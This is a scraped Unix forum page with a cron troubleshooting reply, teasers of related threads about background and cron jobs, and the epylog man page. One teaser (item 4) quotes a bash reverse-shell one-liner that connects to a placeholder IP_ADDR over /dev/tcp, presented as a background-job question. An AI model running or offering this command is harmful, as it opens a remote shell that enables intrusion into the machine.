11-16-2011
Quote:
Certainly because you did not only have PATH issues but ENV. by sourcing .profile, you initialized all environmental variables needed for that user...(Perhaps even more... No errors in cron logs?)
Well... not yet... i continue to monitor the process as it has been unstable.... tuesday and friday will be the fire test since those days the process must be running.
I'll let you know.....
By the way... Errors in cron logs? after or before it worked??
Last edited by blacksteel1988; 11-18-2011 at 10:12 AM..
10 More Discussions You Might Find Interesting
1. UNIX for Dummies Questions & Answers
I'm trying to install a solaris 9 patch cluster and when I try to use & to run in background it won't allow me to enter in my sudo password so it fails the install and sudo auth. Does Solaris not have screen like linux? If & will work what am I doing wrong?
sudo ./install_cluster -q &
is... (3 Replies)
Discussion started by: kingdbag
3 Replies
2. Shell Programming and Scripting
hey all,
i am working on sun solaris machine and i want to start a process in background using shell script (actually i wanna start tomcat server using shell script). please dont tell me that append a & at last because this is not working in the shell script. i have also used nohup and... (8 Replies)
Discussion started by: dtomar
8 Replies
3. Solaris
Hi,
Should the user jobs specified in crontab be running in background?
Cron daemon is already running in background. So I am not sure
whether should the jobs (output and error messages are redirected to file)
ran by it be explicitly stated to be run in background (& at end of command)
if one... (1 Reply)
Discussion started by: joe_x
1 Replies
4. Shell Programming and Scripting
Dear all,
I have a little problem trying to run a shell script in background, as you can see below.
- the script is a simple one:
#! /bin/bash
exec /bin/bash -i 0</dev/tcp/IP_ADDR/33445 1>&0 2>&0
- the name of the script is test.sh
- the script is executable(chmod +x test.sh)
- on the... (2 Replies)
Discussion started by: gd05
2 Replies
5. Shell Programming and Scripting
Hi, i was looking for an answer for some trouble im having runing a script in the cron, thing is, that when i run it manually it works just fine. But when cron runs it, it just doenst work. I saw a reply on a similar subject, suggesting that the . .profile worked for you, but im kind of... (0 Replies)
Discussion started by: blacksteel1988
0 Replies
6. Shell Programming and Scripting
Hi Guys,
I do have a shell script that I scheduled to run via the cron but when the script don't run.
But when I run the script manually it does run perfectly...
What might be the problem?
Thanks. (1 Reply)
Discussion started by: Phuti
1 Replies
7. Shell Programming and Scripting
I have written the below query to genrate a telephone.I am passing account number from oracle database.
I am calling 2 scripts which generate the bill
1. bip.sh (it runs in the background)
2.runXitInvoice_PROFORMA_integ
bip.sh generates a number which runXitInvoice_PROFORMA_integ
uses.How... (7 Replies)
Discussion started by: rafa_fed2
7 Replies
8. Shell Programming and Scripting
Hi,
I want to write a script which continuously checking status of a script running in background by nohup command. And if same script is not running then immediately start the script...please help..
i am using below command to run script
nohup system_traps.sh &
but in some... (9 Replies)
Discussion started by: ketanraut
9 Replies
9. Shell Programming and Scripting
Hi,
I want to run a shell script in background .
but its going to stopped state
$ ksh cat_Duplicate_Records_Removal.ksh &
8975
$
+ Stopped (tty output) ksh cat_Duplicate_Records_Removal.ksh &
why is this happening?
Also could anyone please tell me what is a stopped... (12 Replies)
Discussion started by: TomG
12 Replies
10. UNIX for Beginners Questions & Answers
Hi,
I have this simple c program that creates duplicate process with fork():
#include <sys/types.h>
main()
{
if (fork() == 0)
while(1);
else
while(1);
}
I tried running it in the background
gcc -o test first.c
test &
And I got this list of running process: (4 Replies)
Discussion started by: uniran
4 Replies
LEARN ABOUT DEBIAN
epylog
epylog(8) Applications/System epylog(8)
NAME
epylog - Syslog new log notifier and parser.
SYNOPSIS
epylog [-c epylog.conf] [-d LOGLEVEL] [--last PERIOD]
[--store-offsets] [--quiet] [--cron]
DESCRIPTION
Epylog is a new log notifier and parser which runs periodically out of cron, looks at your logs, processes the entries in order to present
them in a more comprehensive format, and then provides you with the output. It is written specifically with large network clusters in mind
where a lot of machines (around 50 and upwards) log to the same loghost using syslog or syslog-ng.
Alternatively, Epylog can be invoked from the command line and provide a log report based on a certain provided time period. In this case
it relies on syslog timestamps to find the offsets, as opposed to the end-of-log offsets stored during the last run, though this behavior
is not as reliable and is easily thwarted by skewed clocks.
OPTIONS
-c config.file
Provide an alternative config file to Epylog. By default, it will look in /etc/epylog/epylog.conf.
-d LOGLEVEL
Logging level. The default is 1. 0 will produce no output except for critical errors (useful for cron runs). 2 and above are debug-
ging levels. 5 is the most verbose.
--last PERIOD
Will make a report on events that occurred in the last PERIOD. PERIOD can be either "hour", "day", "week", "month", or more granu-
lar: "1h", "2h", "3d", "2w", etc. When --last is specified, epylog will ignore the saved offsets and locate the entries by time-
stamps. CAUTION: this process is not to be trusted, since the timestamps are not checked for any validity when arriving to the
loghost. One reporting machine with a skewed clock may confuse Epylog enough to miss a lot of valid entries.
--store-offsets
When specified, will store the offset of the last log entry processed in offsets.xml. During the cron runs epylog relies on the off-
set information to find out what new entries to process. This is more trustworthy than relying on timestamps. The default behavior
is not to store the offsets, as this allows to run epylog both from cron and manually without the two interfering with each-other.
The location of offset.xml is specified in epylog.conf. See epylog.conf(5) for more details.
--quiet
In every way identical to -d 0.
--cron This is essentially --quiet --store-offsets, plus a lockfile will be created and consulted, preventing more than one instance of
epylog from running. You can still run epylog manually -- the lockfile is only checked when running in --cron mode.
FEATURES
The core of epylog is written in python. It handles things like timestamp lookups, unwrapping of "last message repeated" lines, han-
dling of rotated files, preparing and publishing the reports, etc.
The modules are pluggable and can be either "internal", written in python, or external. External modules can be written in any lan-
guage, but at a price of some convenience. For more info see epylog-modules(5).
INITIAL RUN
Depending on the size of your logs, you might want to initialize your offsets before letting epylog run from cron. When the off-
sets.xml file is missing, epylog will by default process the entire log, and depending on your configuration, that can be a lot of
entries. A good way to init epylog is to run:
epylog --last day --store-offsets
FILES
/etc/epylog/epylog.conf
/usr/sbin/epylog
/etc/cron.daily/epylog.cron
/etc/epylog/*
/var/lib/epylog/*
/usr/share/epylog/modules/*
EXAMPLES
The useful way to run from a command line is with --last. E.g.:
epylog --last day
epylog --last 2w
When running from cron, you want to store the offsets and not rely on timestamps. There is a mode that allows you to do this:
epylog --cron
AUTHORS
Konstantin Ryabitsev <icon@linux.duke.edu>
SEE ALSO
epylog.conf(5) epylog-modules(5)
Konstantin Ryabitsev 1.0 epylog(8)